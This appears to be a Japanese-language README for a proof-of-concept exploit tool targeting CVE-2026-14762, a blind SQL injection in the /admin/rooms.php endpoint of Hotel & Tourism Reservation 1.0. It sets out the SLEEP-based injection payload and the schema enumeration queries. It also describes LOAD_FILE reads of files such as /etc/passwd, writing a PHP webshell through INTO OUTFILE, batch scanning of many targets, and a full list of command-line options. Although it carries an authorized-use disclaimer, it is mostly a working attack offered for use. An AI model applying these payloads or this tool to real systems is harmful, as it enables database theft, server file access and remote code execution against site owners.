
Hotel & Tourism Reservation 1.0 を標的とした CVE-2026-14762 用のマルチスレッド時間ベースのブラインドSQLインジェクションエクスプロイト。データベース、テーブル、カラムを列挙し、LOAD_FILE 経由でファイルを読み取り、RCE 用の PHP ウェブシェルを書き込みます。プロキシ、バッチスキャン、対話型 SQL シェルをサポートします。
CVE‑2026‑14762 向けのフル機能・マルチスレッド・時間ベースのブラインドSQLインジェクションエクスプロイト。
Code‑Projects Hotel & Tourism Reservation アプリケーション(バージョン 1.0)の /admin/rooms.php エンドポイントをターゲットにします。
完全なデータベース列挙、ファイルシステム読み取り(LOAD_FILE)、および任意のファイル書き込み(INTO OUTFILE / DUMPFILE)を実現し、Webシェルの展開によるリモートコード実行につなげます。

requestsurllib3colorama (オプション – カラーターミナル出力用)すべての依存関係をインストールするには:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
delete パラメータには以下が注入されます:
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1
IF() は条件を評価し、真であればデータベースは 秒間スリープします。 バイナリサーチによる文字抽出
各文字位置について、ASCII範囲(32〜126)のバイナリサーチが > と = の比較を使用して正しい文字を決定します。これにより、1文字あたりのリクエスト数が95回から約7〜8回に減り、抽出が非常に効率的になります。
メタデータの列挙
Database name: SELECT DATABASE()
Tables: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
Columns: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1
データの窃取
SELECT <col> FROM <table> LIMIT row,1 – extracts row by row
Each cell is extracted character by character using the same binary-search technique
ファイルシステム操作
Read: LOAD_FILE('/path/to/file') – requires secure_file_priv to be empty or point to the target directory
Write: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – requires FILE privilege and secure_file_priv not restrictive
このツールは、許可されたセキュリティテスト、教育研究、および脆弱性評価のみを目的として提供されています。 作者は、このソフトウェアによって引き起こされた不正使用、違法行為、または損害について一切責任を負いません。 テストを行う前に、必ずシステム所有者から明示的な書面による許可を得てください。
| Category | Capability |
|---|
| 脆弱性 | 時間ベースのブラインドSQLインジェクション(CWE‑89) |
| 攻撃ベクトル | GET /admin/rooms.php?delete=<payload> |
| 悪用手法 | バイナリサーチによる文字抽出を伴う条件付き SLEEP() インジェクション |
| データベース | 現在のデータベース名の抽出 |
| スキーマ | information_schema によるテーブル・カラム列挙 |
| データダンプ | フルテーブルエクスポート(JSON)– 無制限行、設定可能な制限 |
| ファイル読み取り | LOAD_FILE() – MySQL が読み取り可能な任意のファイルを読み取ります(例: /etc/passwd、設定ファイル) |
| ファイル書き込み | INTO OUTFILE / DUMPFILE – PHP Webシェル、バックドア、任意のコンテンツを書き込み |
| 対話型シェル | 手動クエリ用のライブSQLシェル(時間ベース抽出) |
| 単一クエリ | アドホックSQLを実行し結果を取得(512文字制限) |
| バッチモード | 設定可能なスレッドプールによるマルチターゲットスキャン(ThreadPoolExecutor) |
| プロキシサポート | HTTP/HTTPS プロキシ(Burp Suite、mitmproxy など) |
| 詳細ログ | タイムスタンプ付きデバッグ情報を含むカラー出力 |
| 依存関係ゼロ | requests、urllib3、colorama(オプション)のみ |
| 引数 | 短縮 | 型 | デフォルト | 説明 |
|---|
--target | -t | URL | — | 単一ターゲットURL(例: http://192.168.1.100) |
--target-file | -l | File | — | ターゲットリストを含むファイル(1行に1つ) |
--threads | — | Int | 5 | マルチターゲットスキャン用のスレッド数 |
--output | -o | Path | — | 出力ファイル(ダンプはJSON、ファイルは生テキスト) |
--verbose | -v | Flag | False | 詳細なデバッグログを有効化 |
--proxy | — | URL | — | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
--user-agent | -ua | String | Mozilla/5.0... | カスタムUser-Agentヘッダー |
--delay | — | Float | 5.0 | ブラインドインジェクション用のスリープ時間(秒) |
--max-retries | — | Int | 3 | 最大リクエスト再試行回数 |
--ssl-verify | — | Flag | False | SSL証明書の検証を有効化 |
--webroot | — | Path | /var/www/html | INTO OUTFILE によるWebシェル書き込み用のWebルート |
--dump-db | — | Flag | False | 現在のデータベースの全テーブルをダンプ |
--tables | — | Flag | False | テーブル名のみを一覧表示 |
--dump-table | — | Table | — | 特定のテーブルをダンプ(例: --dump-table users) |
--read | — | Path | — | LOAD_FILE() でファイルを読み取る |
--write-shell | — | Flag | False | PHP Webシェル(shell.php)をWebルートに書き込む |
--sql | — | Query | — | 単一のSQLクエリを実行(最大512文字を返す) |
--interactive | -i | Flag | False | 悪用後に対話型SQLシェルを起動 |